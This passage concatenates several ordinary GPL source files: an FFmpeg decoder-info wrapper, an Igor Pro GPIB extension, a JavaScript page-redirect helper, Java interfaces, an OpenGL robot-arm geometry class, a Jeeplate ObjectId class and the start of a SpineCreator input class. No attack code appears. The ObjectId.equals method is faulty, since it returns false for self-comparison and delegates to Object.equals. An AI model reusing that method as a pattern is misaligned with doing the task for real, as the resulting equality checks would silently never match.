virtual dt_media_type_t get_codec_type() const
{
return FF2DTType(m_CodecContext.codec_type);
}
virtual dt_codec_id_t get_codec_id() const
{
return FF2DTType(m_CodecContext.codec_id);
}
virtual unsigned int get_codec_tag() const
{
return m_CodecContext.codec_tag;
}
virtual int get_profile() const
{
return m_CodecContext.profile;
}
virtual int get_level() const
{
return m_CodecContext.level;
}
virtual int get_bit_rate() const
{
return m_CodecContext.bit_rate;
}
virtual dt_rational_t get_time_base() const
{
return FF2DTType(m_CodecContext.time_base);
}
virtual int get_rc_max_rate() const
{
return m_CodecContext.rc_max_rate;
}
virtual int get_rc_buffer_size() const
{
return m_CodecContext.rc_buffer_size;
}
public:
virtual int get_width() const
{
return m_CodecContext.width;
}
virtual int get_height() const
{
return m_CodecContext.height;
}
virtual dt_pixel_format_t get_pix_fmt() const
{
return FF2DTType(m_CodecContext.pix_fmt);
}
virtual bool has_b_frames() const
{
return 0 != m_CodecContext.has_b_frames;
}
virtual dt_rational_t get_sample_aspect_ratio() const
{
return FF2DTType(m_CodecContext.sample_aspect_ratio);
}
virtual const uint16_t * get_intra_matrix() const
{
return m_CodecContext.intra_matrix;
}
virtual const uint16_t * get_inter_matrix() const
{
return m_CodecContext.inter_matrix;
}
virtual int get_reference_frames() const
{
return m_CodecContext.refs;
}
virtual int get_ticks_per_frame() const
{
return m_CodecContext.ticks_per_frame;
}
private:
AVCodecContext m_CodecContext;
public:
av_video_decoder_info_impl(const AVCodecContext * _CodecContext)
{
AVCodecContext * ctx = &m_CodecContext;
ff_alloc_and_copy(&ctx->extradata, _CodecContext->extradata, _CodecContext->extradata_size, FF_INPUT_BUFFER_PADDING_SIZE);
ctx->extradata_size = _CodecContext->extradata_size;
memcpy(ctx->codec_name, _CodecContext->codec_name, sizeof(_CodecContext->codec_name));
ctx->codec_type = _CodecContext->codec_type;
ctx->codec_id = _CodecContext->codec_id;
ctx->codec_tag = _CodecContext->codec_tag;
ctx->profile = _CodecContext->profile;
ctx->level = _CodecContext->level;
ctx->time_base = _CodecContext->time_base;
ctx->bit_rate = _CodecContext->bit_rate;
ctx->rc_max_rate = _CodecContext->rc_max_rate;
ctx->rc_buffer_size = _CodecContext->rc_buffer_size;
ctx->width = _CodecContext->width;
ctx->height = _CodecContext->height;
ctx->pix_fmt = _CodecContext->pix_fmt;
ctx->has_b_frames = _CodecContext->has_b_frames;
ctx->sample_aspect_ratio = _CodecContext->sample_aspect_ratio;
ctx->ticks_per_frame = _CodecContext->ticks_per_frame;
ff_alloc_and_copy((uint8_t**)(&ctx->inter_matrix), (uint8_t*)_CodecContext->inter_matrix, 64 * sizeof(int16_t), 0);
ff_alloc_and_copy((uint8_t**)(&ctx->intra_matrix), (uint8_t*)_CodecContext->intra_matrix, 64 * sizeof(int16_t), 0);
ctx->refs = _CodecContext->refs;
}
};
/// \class av_audio_decoder_info_impl
class av_audio_decoder_info_impl: public audio_decoder_info::Impl
{
private:
virtual const uint8_t * get_extradata() const
{
return m_CodecContext.extradata;
}
virtual int get_extradata_size() const
{
return m_CodecContext.extradata_size;
}
virtual std::string get_codec_name() const
{
return std::string(m_CodecContext.codec_name);
}
virtual dt_codec_base_t get_codec_base() const
{
return CODEC_BASE_FFMPEG;
}
virtual dt_media_type_t get_codec_type() const
{
return FF2DTType(m_CodecContext.codec_type);
}
virtual dt_codec_id_t get_codec_id() const
{
return FF2DTType(m_CodecContext.codec_id);
}
virtual unsigned int get_codec_tag() const
{
return m_CodecContext.codec_tag;
}
virtual int get_profile() const
{
return m_CodecContext.profile;
}
virtual int get_level() const
{
return m_CodecContext.level;
}
virtual int get_bit_rate() const
{
return m_CodecContext.bit_rate;
}
virtual dt_rational_t get_time_base() const
{
return FF2DTType(m_CodecContext.time_base);
}
virtual int get_rc_max_rate() const
{
return m_CodecContext.rc_max_rate;
}
virtual int get_rc_buffer_size() const
{
return m_CodecContext.rc_buffer_size;
}
public:
virtual int get_sample_rate() const
{
return m_CodecContext.sample_rate;
}
virtual int get_channels_count() const
{
return m_CodecContext.channels;
}
virtual dt_sample_format_t get_sample_format() const
{
return FF2DTType(m_CodecContext.sample_fmt);
}
virtual int get_block_align() const
{
return m_CodecContext.block_align;
}
virtual dt_channel_layout_t get_channel_layout() const
{
return m_CodecContext.channel_layout;
}
virtual int get_bits_per_coded_sample() const
{
return m_CodecContext.bits_per_coded_sample;
}
virtual int get_bits_per_raw_sample() const
{
return m_CodecContext.bits_per_raw_sample;
}
private:
AVCodecContext m_CodecContext;
public:
av_audio_decoder_info_impl(const AVCodecContext * _CodecContext)
{
DT_STRONG_ASSERT(NULL != _CodecContext);
if (NULL == _CodecContext)
{
BOOST_THROW_EXCEPTION(errors::invalid_argument());
}
AVCodecContext * ctx = &m_CodecContext;
ff_alloc_and_copy(&ctx->extradata, _CodecContext->extradata, _CodecContext->extradata_size, FF_INPUT_BUFFER_PADDING_SIZE);
ctx->extradata_size = _CodecContext->extradata_size;
memcpy(ctx->codec_name, _CodecContext->codec_name, sizeof(_CodecContext->codec_name));
ctx->codec_type = _CodecContext->codec_type;
ctx->codec_id = _CodecContext->codec_id;
ctx->codec_tag = _CodecContext->codec_tag;
ctx->profile = _CodecContext->profile;
ctx->level = _CodecContext->level;
ctx->bit_rate = _CodecContext->bit_rate;
ctx->time_base = _CodecContext->time_base;
ctx->rc_max_rate = _CodecContext->rc_max_rate;
ctx->rc_buffer_size = _CodecContext->rc_buffer_size;
ctx->sample_rate = _CodecContext->sample_rate;
ctx->channels = _CodecContext->channels;
ctx->sample_fmt = _CodecContext->sample_fmt;
ctx->block_align = _CodecContext->block_align;
ctx->channel_layout = _CodecContext->channel_layout;
ctx->bits_per_coded_sample = _CodecContext->bits_per_coded_sample;
ctx->bits_per_raw_sample = _CodecContext->bits_per_raw_sample;
}
};
///
ff_decoder_info::ff_decoder_info(const AVCodecContext * _CodecContext): decoder_info( new av_decoder_info_impl(_CodecContext) )
{
DT_ASSERT(NULL != _CodecContext);
if (NULL == _CodecContext)
{
BOOST_THROW_EXCEPTION(errors::invalid_argument());
}
}
ff_video_decoder_info::ff_video_decoder_info(const AVCodecContext * _CodecContext): video_decoder_info( new av_video_decoder_info_impl(_CodecContext) )
{
DT_ASSERT(NULL != _CodecContext);
if (NULL == _CodecContext)
{
BOOST_THROW_EXCEPTION(errors::invalid_argument());
}
}
ff_audio_decoder_info::ff_audio_decoder_info(const AVCodecContext * _CodecContext): audio_decoder_info( new av_audio_decoder_info_impl(_CodecContext) )
{
DT_ASSERT(NULL != _CodecContext);
if (NULL == _CodecContext)
{
BOOST_THROW_EXCEPTION(errors::invalid_argument());
}
}
decoder_info_ptr create_ff_decoder_info(AVCodecContext * _Codec)
{
DT_ASSERT(NULL != _Codec);
if (NULL == _Codec)
{
BOOST_THROW_EXCEPTION(errors::invalid_pointer());
return decoder_info_ptr((decoder_info*)NULL);
}
decoder_info_ptr decoderInfo;
switch (_Codec->codec_type)
{
case AVMEDIA_TYPE_VIDEO:
decoderInfo = ff_video_decoder_info::create(_Codec);
break;
case AVMEDIA_TYPE_AUDIO:
decoderInfo = ff_audio_decoder_info::create(_Codec);
break;
default:
decoderInfo = ff_decoder_info::create(_Codec);
break;
}
return decoderInfo;
}
} // namespace openmedia
| gpl-3.0 |
prheenan/IgorUtil | XOP/Lib/IgorXOPs6/NIGPIB2/NIGPIB.cpp | 4791 | /* NIGPIB.c
See NIGPIB documentation for use of NIGPIB XOP.
3/7/94
Added IBBNA, IBCONFIG, IBLINES, IBLLO NI488 calls.
Bumped NIGPIB version to 1.2.
1/17/96
Added testMode for testing at WaveMetrics.
Made Igor Pro 3.0-savvy (data-folder-aware, support integer waves).
HR, 091021
Updated for 64-bit compatibility.
HR, 2013-02-08
Updated for Xcode 4 compatibility. Changed to use XOPMain instead of main.
As a result the XOP now requires Igor Pro 6.20 or later.
*/
#include "XOPStandardHeaders.h" // Include ANSI headers, Mac headers, IgorXOP.h, XOP.h and XOPSupport.h
#include "NIGPIB.h"
/* Global Variables */
extern int gActiveBoard; /* the unit descriptor used for interface clear */
extern int gActiveDevice; /* the unit descriptor used for read/write */
/* NIErrToNIGPIBErr(NIErr)
NIErr is bitwise code as defined in decl.h.
This routine returns the corresponding NIGPIB error, defined in NIGPIB.h.
*/
int
NIErrToNIGPIBErr(int NIErr)
{
if (NIErr == EDVR)
return EDVR_ERR;
if (NIErr == ECIC)
return ECIC_ERR;
if (NIErr == ENOL)
return ENOL_ERR;
if (NIErr == EADR)
return EADR_ERR;
if (NIErr == EARG)
return EARG_ERR;
if (NIErr == ESAC)
return ESAC_ERR;
if (NIErr == EABO)
return EABO_ERR;
if (NIErr == ENEB)
return ENEB_ERR;
if (NIErr == EDMA)
return EDMA_ERR;
if (NIErr == EOIP)
return EOIP_ERR;
if (NIErr == ECAP)
return ECAP_ERR;
if (NIErr == EFSO)
return EFSO_ERR;
if (NIErr == EBUS)
return EBUS_ERR;
if (NIErr == ESTB)
return ESTB_ERR;
if (NIErr == ESRQ)
return ESRQ_ERR;
#ifdef EASC // Not defined in decl-32.h as of 971208.
if (NIErr == EASC)
return EASC_ERR;
#endif
#ifdef EDC // Not defined in decl-32.h as of 971208.
if (NIErr == EDC)
return EDC_ERR;
#endif
if (NIErr == ETAB)
return ETAB_ERR;
if (NIErr == ELCK)
return ELCK_ERR;
return UNKNOWN_NI488_DRIVER_ERROR;
}
int
IBErr(int write) // 0 for read, 1 for write
{
if (ibsta & ERR) {
if (ibsta & TIMO)
return(write ? TIME_OUT_WRITE:TIME_OUT_READ);
else
return(iberr + FIRST_XOP_ERR + 1);
}
return 0;
}
int
SetV_Flag(double value)
{
return SetOperationNumVar("V_flag", value);
}
int
SetS_Value(const char* str)
{
return SetOperationStrVar("S_value", str);
}
/* XOPQuit()
Called to clean thing up when XOP is about to be disposed.
*/
static void
XOPQuit(void)
{
Close_NIGPIB_IO();
}
/* XOPEntry()
This is the entry point from the host application to the XOP for all messages after the
INIT message.
*/
extern "C" void
XOPEntry(void)
{
XOPIORecResult result = 0;
switch (GetXOPMessage()) {
case NEW: /* new experiment being loaded */
SetXOPType(TRANSIENT); /* discard NIGPIB when new experiment */
break;
case CLEANUP: /* XOP about to be disposed of */
XOPQuit();
break;
} /* CMD is only message we care about */
SetXOPResult(result);
}
static int
RegisterOperations(void)
{
int err;
if (err = RegisterNI4882())
return err;
if (err = RegisterGPIB2())
return err;
if (err = RegisterGPIBRead2())
return err;
if (err = RegisterGPIBReadWave2())
return err;
if (err = RegisterGPIBReadBinary2())
return err;
if (err = RegisterGPIBReadBinaryWave2())
return err;
if (err = RegisterGPIBWrite2())
return err;
if (err = RegisterGPIBWriteWave2())
return err;
if (err = RegisterGPIBWriteBinary2())
return err;
if (err = RegisterGPIBWriteBinaryWave2())
return err;
return 0;
}
/* XOPMain(ioRecHandle)
This is the initial entry point at which the host application calls XOP.
The message sent by the host must be INIT.
XOPMain does any necessary initialization and then sets the XOPEntry field of the
ioRecHandle to the address to be called for future messages.
*/
HOST_IMPORT int
XOPMain(IORecHandle ioRecHandle) // The use of XOPMain rather than main means this XOP requires Igor Pro 6.20 or later
{
int err;
XOPInit(ioRecHandle); // Do standard XOP initialization
SetXOPEntry(XOPEntry); // Set entry point for future calls
SetXOPType(RESIDENT); // Specify XOP to stick around and to receive IDLE messages
if (igorVersion < 620) { // Requires Igor 6.20 or later.
SetXOPResult(OLD_IGOR); // OLD_IGOR is defined in NIGPIB.h and there are corresponding error strings in NIGPIB.r and NIGPIBWinCustom.rc.
return EXIT_FAILURE;
}
if (err = RegisterOperations()) {
SetXOPResult(err);
return EXIT_FAILURE;
}
err = Init_NIGPIB_IO();
SetXOPResult(err);
return EXIT_SUCCESS;
}
| gpl-3.0 |
xplorld/TrafficSimulator | js/redirect.js | 834 |
//#################################################################
// implementation of redirect buttons on the simulation html pages
//#################################################################
function myRedirectRing(){
window.location.href = "./index.html";
}
function myRedirectOnramp(){
window.location.href = "./onramp.html";
}
function myRedirectOfframp(){
window.location.href = "./offramp.html";
}
function myRedirectRoadworks(){
window.location.href = "./roadworks.html";
}
function myRedirectUphill(){
window.location.href = "./uphill.html";
}
function myRedirectRouting(){
window.location.href = "./routing.html";
}
function myRedirectUphill(){
window.location.href = "./uphill.html";
}
function myRedirectTrafficlight(){
window.location.href = "./trafficlight.html";
}
| gpl-3.0 |
abhijitsarkar/legacy | adam-bien/x-ray/x-ray-services/src/main/java/com/abien/xray/business/logging/boundary/XRayLogger.java | 289 | package com.abien.xray.business.logging.boundary;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
*
* @author blog.adam-bien.com
*/
public interface XRayLogger {
public void log(Level INFO, String string, Object[] object);
public Logger getLogger();
}
| gpl-3.0 |
tompecina/retro | src/cz/pecina/retro/cpu/Executable.java | 1158 | /* Executable.java
*
* Copyright (C) 2015, Tomáš Pecina <tomas@pecina.cz>
*
* This file is part of cz.pecina.retro, retro 8-bit computer emulators.
*
* This application is free software: you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* This application is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package cz.pecina.retro.cpu;
/**
* Interface representing an instruction that can be executed by a CPU.
*
* @author @AUTHOR@
* @version @VERSION@
*/
public interface Executable {
/**
* Executes the instruction.
*
* @return the duration of the instruction in system clock units
*/
public abstract int exec();
}
| gpl-3.0 |
Armour/CMPT361-Assignments | Assignment 2/src/robot_arm.cc | 15171 | //////////////////////////////////////////////////////////////////////////////
//
// robot_arm.cc
//
// The source file for robot arm manager
//
// Project : FruitTetris
// Name : Chong Guo
// Student ID : 301295753
// SFU username : armourg
// Instructor : Thomas Shermer
// TA : Luwei Yang
//
// Created by Armour on 3/5/2016
// Copyright (c) 2016 Armour. All rights reserved.
//
//////////////////////////////////////////////////////////////////////////////
#include "robot_arm.h"
//
// Function: ResetAngle
// ---------------------------
//
// Reset all the angle parameters
//
// Parameters:
// void
//
// Returns:
// void
//
void RobotArm::ResetAngle() {
base_angle_ = 45.0;
upper_arm_angle_ = -35.0;
lower_arm_angle_ = 0.0;
}
//
// Function: RotateBase
// ---------------------------
//
// Rotate the base part
//
// Parameters:
// direction: the direction you want to rotate
//
// Returns:
// void
//
void RobotArm::RotateBase(int direction) {
base_angle_ += 2.0 * (GLfloat)direction;
base_angle_ = RobotArm::ClampBaseAngle(base_angle_);
}
//
// Function: RotateLowerArm
// ---------------------------
//
// Rotate the lower arm part
//
// Parameters:
// direction: the direction you want to rotate
//
// Returns:
// void
//
void RobotArm::RotateLowerArm(int direction) {
lower_arm_angle_ += (GLfloat)direction;
lower_arm_angle_ = RobotArm::ClampLowerArmAngle(lower_arm_angle_);
}
//
// Function: RotateUpperArm
// ---------------------------
//
// Rotate the upper arm part
//
// Parameters:
// direction: the direction you want to rotate
//
// Returns:
// void
//
void RobotArm::RotateUpperArm(int direction) {
upper_arm_angle_ += (GLfloat)direction;
upper_arm_angle_ = RobotArm::ClampUpperArmAngle(upper_arm_angle_);
}
//
// Function: ClampBaseAngle
// ---------------------------
//
// Clamp the angle of the base part
//
// Parameters:
// angle: the angle that we need to clamp
//
// Returns:
// void
//
GLfloat RobotArm::ClampBaseAngle(GLfloat angle) const {
if (angle > 90.0) return 90.0;
if (angle < 0.0) return 0.0;
return angle;
}
//
// Function: ClampLowerArmAngle
// ---------------------------
//
// Clamp the angle of the lower arm part
//
// Parameters:
// angle: the angle that we need to clamp
//
// Returns:
// void
//
GLfloat RobotArm::ClampLowerArmAngle(GLfloat angle) const {
if (angle > 45.0) return 45.0;
if (angle < -20.0) return -20.0;
return angle;
}
//
// Function: ClampUpperArmAngle
// ---------------------------
//
// Clamp the angle of the upper arm part
//
// Parameters:
// angle: the angle that we need to clamp
//
// Returns:
// void
//
GLfloat RobotArm::ClampUpperArmAngle(GLfloat angle) const {
if (angle > 80.0) return 80.0;
if (angle < -90.0) return -90.0;
return angle;
}
//
// Function: GetBaseRotationMatrix
// ---------------------------
//
// Get the rotation matrix of base part
//
// Parameters:
// void
//
// Returns:
// void
//
glm::mat4x4 RobotArm::get_base_rotation_matrix() const {
GLfloat delta = (base_angle_ - 45) * libconsts::kDegreeToRadians;
glm::mat4x4 rotationY = glm::mat4x4( cos(delta), 0.0, sin(delta), 0.0,
0.0 , 1.0, 0.0 , 0.0,
-sin(delta), 0.0, cos(delta), 0.0,
0.0 , 0.0, 0.0 , 1.0);
return rotationY;
}
//
// Function: GetLowerRotationMatrix
// ---------------------------
//
// Get the rotation matrix of lower part
//
// Parameters:
// void
//
// Returns:
// void
//
glm::mat4x4 RobotArm::get_lower_rotation_matrix() const {
GLfloat theta = lower_arm_angle_ * libconsts::kDegreeToRadians;
glm::mat4x4 rotationZ = glm::mat4x4(cos(theta), -sin(theta), 0.0, 0.0,
sin(theta), cos(theta), 0.0, 0.0,
0.0 , 0.0 , 1.0, 0.0,
0.0 , 0.0 , 0.0, 1.0);
return rotationZ;
}
//
// Function: GetUpperRotationMatrix
// ---------------------------
//
// Get the rotation matrix of upper part
//
// Parameters:
// void
//
// Returns:
// void
//
glm::mat4x4 RobotArm::get_upper_rotation_matrix() const {
GLfloat phi = upper_arm_angle_ * libconsts::kDegreeToRadians;
glm::mat4x4 rotationZ = glm::mat4x4(cos(phi), -sin(phi), 0.0, 0.0,
sin(phi), cos(phi), 0.0, 0.0,
0.0 , 0.0 , 1.0, 0.0,
0.0 , 0.0 , 0.0, 1.0);
return rotationZ;
}
//
// Function: GetBaseEndPoint
// ---------------------------
//
// Get the end point of base part
//
// Parameters:
// void
//
// Returns:
// void
//
glm::vec4 RobotArm::get_base_end_point() const {
return base_center_ + glm::vec4(0.0, base_height_ / 2, 0.0, 0.0);
}
//
// Function: GetLowerArmEndPoint
// ---------------------------
//
// Get the end point of lower part
//
// Parameters:
// void
//
// Returns:
// void
//
glm::vec4 RobotArm::get_lower_arm_end_point() const {
GLfloat theta = lower_arm_angle_ * libconsts::kDegreeToRadians;
glm::mat4x4 rotationY = get_base_rotation_matrix();
return get_base_end_point() + rotationY * glm::vec4(lower_arm_height_ * sin(theta), lower_arm_height_ * cos(theta), 0, 0.0);
}
//
// Function: GetUpperArmEndPoint
// ---------------------------
//
// Get the end point of upper part
//
// Parameters:
// void
//
// Returns:
// void
//
glm::vec4 RobotArm::get_upper_arm_end_point() const {
GLfloat phi = -upper_arm_angle_ * libconsts::kDegreeToRadians;
glm::mat4x4 rotationZ = get_lower_rotation_matrix();
glm::mat4x4 rotationY = get_base_rotation_matrix();
return get_lower_arm_end_point() + rotationY * rotationZ * glm::vec4(upper_arm_height_ * cos(phi), upper_arm_height_ * sin(phi), 0, 0.0);
}
//
// Function: GetLowerArmCenterPoint
// ---------------------------
//
// Get the center point of lower part
//
// Parameters:
// void
//
// Returns:
// void
//
glm::vec4 RobotArm::get_lower_arm_center_point() const {
GLfloat theta = lower_arm_angle_ * libconsts::kDegreeToRadians;
glm::mat4x4 rotationY = get_base_rotation_matrix();
return get_base_end_point() + rotationY * glm::vec4(lower_arm_height_ / 2 * sin(theta), lower_arm_height_ / 2 * cos(theta), 0, 0.0);
}
//
// Function: GetUpperArmCenterPoint
// ---------------------------
//
// Get the center point of upper part
//
// Parameters:
// void
//
// Returns:
// void
//
glm::vec4 RobotArm::get_upper_arm_center_point() const {
GLfloat phi = -upper_arm_angle_ * libconsts::kDegreeToRadians;
glm::mat4x4 rotationZ = get_lower_rotation_matrix();
glm::mat4x4 rotationY = get_base_rotation_matrix();
return get_lower_arm_end_point() + rotationY * rotationZ * glm::vec4(upper_arm_height_ / 2 * cos(phi), upper_arm_height_ / 2 * sin(phi), 0, 0.0);
}
//
// Function: GetBaseRenderData
// ---------------------------
//
// Get the render data of base part
//
// Parameters:
// void
//
// Returns:
// void
//
std::vector<glm::vec4> RobotArm::get_base_render_data() const {
std::vector<glm::vec4> base_render_data;
std::vector<glm::vec4> base_position;
CalculateBasePosition(base_position, base_center_, base_width_, base_height_, base_angle_);
for (int i = 0; i < 36; i++) {
base_render_data.push_back(base_position[libconsts::kCubeFaceIndex[i]]);
}
return base_render_data;
}
//
// Function: GetLowerArmRenderData
// ---------------------------
//
// Get the render data of lower part
//
// Parameters:
// void
//
// Returns:
// void
//
std::vector<glm::vec4> RobotArm::get_lower_arm_render_data() const {
std::vector<glm::vec4> lower_arm_render_data;
std::vector<glm::vec4> lower_arm_position;
glm::vec4 lower_arm_center = get_lower_arm_center_point();
CalculateLowerArmPosition(lower_arm_position, lower_arm_center, lower_arm_width_, lower_arm_height_, lower_arm_angle_);
for (int i = 0; i < 36; i++) {
lower_arm_render_data.push_back(lower_arm_position[libconsts::kCubeFaceIndex[i]]);
}
return lower_arm_render_data;
}
//
// Function: GetUpperArmRenderData
// ---------------------------
//
// Get the render data of upper part
//
// Parameters:
// void
//
// Returns:
// void
//
std::vector<glm::vec4> RobotArm::get_upper_arm_render_data() const {
std::vector<glm::vec4> upper_arm_render_data;
std::vector<glm::vec4> upper_arm_position;
glm::vec4 upper_arm_center = get_upper_arm_center_point();
CalculateUpperArmPosition(upper_arm_position, upper_arm_center, upper_arm_width_, upper_arm_height_, upper_arm_angle_);
for (int i = 0; i < 36; i++) {
upper_arm_render_data.push_back(upper_arm_position[libconsts::kCubeFaceIndex[i]]);
}
return upper_arm_render_data;
}
//
// Function: CalculateBasePosition
// ---------------------------
//
// Calculate the cube points position of the base part
//
// Parameters:
// void
//
// Returns:
// void
//
void RobotArm::CalculateBasePosition(std::vector<glm::vec4> &base_position, glm::vec4 center_points,
GLfloat width, GLfloat height, GLfloat angle) const {
GLfloat r = width / 2 * (GLfloat)sqrt(2.0);
GLfloat delta = angle * libconsts::kDegreeToRadians;
base_position.push_back(center_points + glm::vec4(r * -cos(delta), -height / 2, r * -sin(delta), 0.0));
base_position.push_back(center_points + glm::vec4(r * sin(delta), -height / 2, r * -cos(delta), 0.0));
base_position.push_back(center_points + glm::vec4(r * cos(delta), -height / 2, r * sin(delta), 0.0));
base_position.push_back(center_points + glm::vec4(r * -sin(delta), -height / 2, r * cos(delta), 0.0));
base_position.push_back(center_points + glm::vec4(r * -cos(delta), height / 2, r * -sin(delta), 0.0));
base_position.push_back(center_points + glm::vec4(r * sin(delta), height / 2, r * -cos(delta), 0.0));
base_position.push_back(center_points + glm::vec4(r * cos(delta), height / 2, r * sin(delta), 0.0));
base_position.push_back(center_points + glm::vec4(r * -sin(delta), height / 2, r * cos(delta), 0.0));
}
//
// Function: CalculateLowerArmPosition
// ---------------------------
//
// Calculate the cube points position of the lower part
//
// Parameters:
// void
//
// Returns:
// void
//
void RobotArm::CalculateLowerArmPosition(std::vector<glm::vec4> &lower_arm_position, glm::vec4 center_points,
GLfloat width, GLfloat height, GLfloat angle) const {
GLfloat h = height / 2;
GLfloat w = width / 2;
GLfloat r = sqrt(h * h + w * w);
GLfloat reletive_theta = w / h * 45 * libconsts::kDegreeToRadians;
glm::mat4x4 rotationY = get_base_rotation_matrix();
glm::mat4x4 rotationZ = get_lower_rotation_matrix();
lower_arm_position.push_back(center_points + rotationY * rotationZ *
glm::vec4(r * -sin(reletive_theta), r * -cos(reletive_theta), width / 2, 0.0));
lower_arm_position.push_back(center_points + rotationY * rotationZ *
glm::vec4(r * sin(reletive_theta), r * -cos(reletive_theta), width / 2, 0.0));
lower_arm_position.push_back(center_points + rotationY * rotationZ *
glm::vec4(r * sin(reletive_theta), r * cos(reletive_theta), width / 2, 0.0));
lower_arm_position.push_back(center_points + rotationY * rotationZ *
glm::vec4(r * -sin(reletive_theta), r * cos(reletive_theta), width / 2, 0.0));
lower_arm_position.push_back(center_points + rotationY * rotationZ *
glm::vec4(r * -sin(reletive_theta), r * -cos(reletive_theta), -width / 2, 0.0));
lower_arm_position.push_back(center_points + rotationY * rotationZ *
glm::vec4(r * sin(reletive_theta), r * -cos(reletive_theta), -width / 2, 0.0));
lower_arm_position.push_back(center_points + rotationY * rotationZ *
glm::vec4(r * sin(reletive_theta), r * cos(reletive_theta), -width / 2, 0.0));
lower_arm_position.push_back(center_points + rotationY * rotationZ *
glm::vec4(r * -sin(reletive_theta), r * cos(reletive_theta), -width / 2, 0.0));
}
//
// Function: CalculateUpperArmPosition
// ---------------------------
//
// Calculate the cube points position of the upper part
//
// Parameters:
// void
//
// Returns:
// void
//
void RobotArm::CalculateUpperArmPosition(std::vector<glm::vec4> &upper_arm_position, glm::vec4 center_points,
GLfloat width, GLfloat height, GLfloat angle) const {
GLfloat h = height / 2;
GLfloat w = width / 2;
GLfloat r = sqrt(h * h + w * w);
GLfloat reletive_theta = w / h * 45 * libconsts::kDegreeToRadians;
glm::mat4x4 rotationY = get_base_rotation_matrix();
glm::mat4x4 rotationZ1 = get_lower_rotation_matrix();
glm::mat4x4 rotationZ2 = get_upper_rotation_matrix();
upper_arm_position.push_back(center_points + rotationY * rotationZ1 * rotationZ2 *
glm::vec4(r * -cos(reletive_theta), r * -sin(reletive_theta), width / 2, 0.0));
upper_arm_position.push_back(center_points + rotationY * rotationZ1 * rotationZ2 *
glm::vec4(r * cos(reletive_theta), r * -sin(reletive_theta), width / 2, 0.0));
upper_arm_position.push_back(center_points + rotationY * rotationZ1 * rotationZ2 *
glm::vec4(r * cos(reletive_theta), r * sin(reletive_theta), width / 2, 0.0));
upper_arm_position.push_back(center_points + rotationY * rotationZ1 * rotationZ2 *
glm::vec4(r * -cos(reletive_theta), r * sin(reletive_theta), width / 2, 0.0));
upper_arm_position.push_back(center_points + rotationY * rotationZ1 * rotationZ2 *
glm::vec4(r * -cos(reletive_theta), r * -sin(reletive_theta), -width / 2, 0.0));
upper_arm_position.push_back(center_points + rotationY * rotationZ1 * rotationZ2 *
glm::vec4(r * cos(reletive_theta), r * -sin(reletive_theta), -width / 2, 0.0));
upper_arm_position.push_back(center_points + rotationY * rotationZ1 * rotationZ2 *
glm::vec4(r * cos(reletive_theta), r * sin(reletive_theta), -width / 2, 0.0));
upper_arm_position.push_back(center_points + rotationY * rotationZ1 * rotationZ2 *
glm::vec4(r * -cos(reletive_theta), r * sin(reletive_theta), -width / 2, 0.0));
} | gpl-3.0 |
jarirajari/jeeplate | Jeeplate/jeeplate-ejb/src/main/java/org/sisto/jeeplate/domain/ObjectId.java | 3106 | /*
* Jeeplate
* Copyright (C) 2014 Jari Kuusisto
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
package org.sisto.jeeplate.domain;
import java.io.Serializable;
import org.apache.commons.lang3.builder.EqualsBuilder;
import org.apache.commons.lang3.builder.HashCodeBuilder;
/**
*
* @author Jari
*/
public class ObjectId implements Serializable {
public static final Long DEFAULT_ID = 0L;
private Long id = DEFAULT_ID;
public ObjectId() {
this.id = DEFAULT_ID;
}
public ObjectId(Long id) {
this.id = id;
}
public Long getId() {
return (this.id);
}
// value type setter
// write should be 'null' protected because
// the value is initialized with default or empty value!
public void id(Long newId) {
if (newId == null) {
this.id = DEFAULT_ID;
} else {
this.id = newId;
}
return;
}
public void reset() {
this.id = DEFAULT_ID;
}
// value type getter
public Long id() {
return (this.id);
}
@Override
public boolean equals(Object obj) {
boolean equal = false;
if (obj == null) {
equal = false;
} else if (obj == this) {
equal = false;
} else if (obj.getClass() != this.getClass()) {
equal = false;
} else {
ObjectId oid = (ObjectId) obj;
equal = (new EqualsBuilder()
.appendSuper(super.equals(obj))
.append(id, oid.id)
.isEquals());
}
return equal;
}
@Override
public int hashCode() {
int hash = 0;
hash = (new HashCodeBuilder(17, 31).
append(id).
toHashCode());
return hash;
}
public static Boolean xisNew(ObjectId oid) {
boolean isNew = false;
boolean isNull = (oid == null) ? true : false;
boolean isIdNull = (oid == null || oid.id() == null) ? true : false;
if (isNull || isIdNull) {
isNew = true;
} else {
Long id = oid.id();
boolean isDefault = (id.compareTo(DEFAULT_ID) == 0) ? true : false;
if (isDefault) {
isNew = true;
} else {
isNew = false;
}
}
return isNew;
}
}
| gpl-3.0 |
ajc158/spinecreator | genericinput.cpp | 23141 | /***************************************************************************
** **
** This file is part of SpineCreator, an easy to use, GUI for **
** describing spiking neural network models. **
** Copyright (C) 2013 Alex Cope, Paul Richmond **
** **
** This program is free software: you can redistribute it and/or modify **
** it under the terms of the GNU General Public License as published by **
** the Free Software Foundation, either version 3 of the License, or **
** (at your option) any later version. **
** **
** This program is distributed in the hope that it will be useful, **
** but WITHOUT ANY WARRANTY; without even the implied warranty of **
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the **
** GNU General Public License for more details. **
** **
** You should have received a copy of the GNU General Public License **
** along with this program. If not, see http://www.gnu.org/licenses/. **
** **
****************************************************************************
** Author: Alex Cope **
** Website/Contact: http://bimpa.group.shef.ac.uk/ **
****************************************************************************/
#include "genericinput.h"
#include "connection.h"
#include "projections.h"
#include "experiment.h"
//#include "stringify.h"
genericInput::genericInput()
{
// only used for loading from file - and all info will be specified so no need to muck about here - except this:
this->connectionType = new onetoOne_connection;
this->type = inputObject;
// for reinserting on undo / redo
srcPos = -1;
dstPos = -1;
isVisualised = false;
source = NULL;
destination = NULL;
}
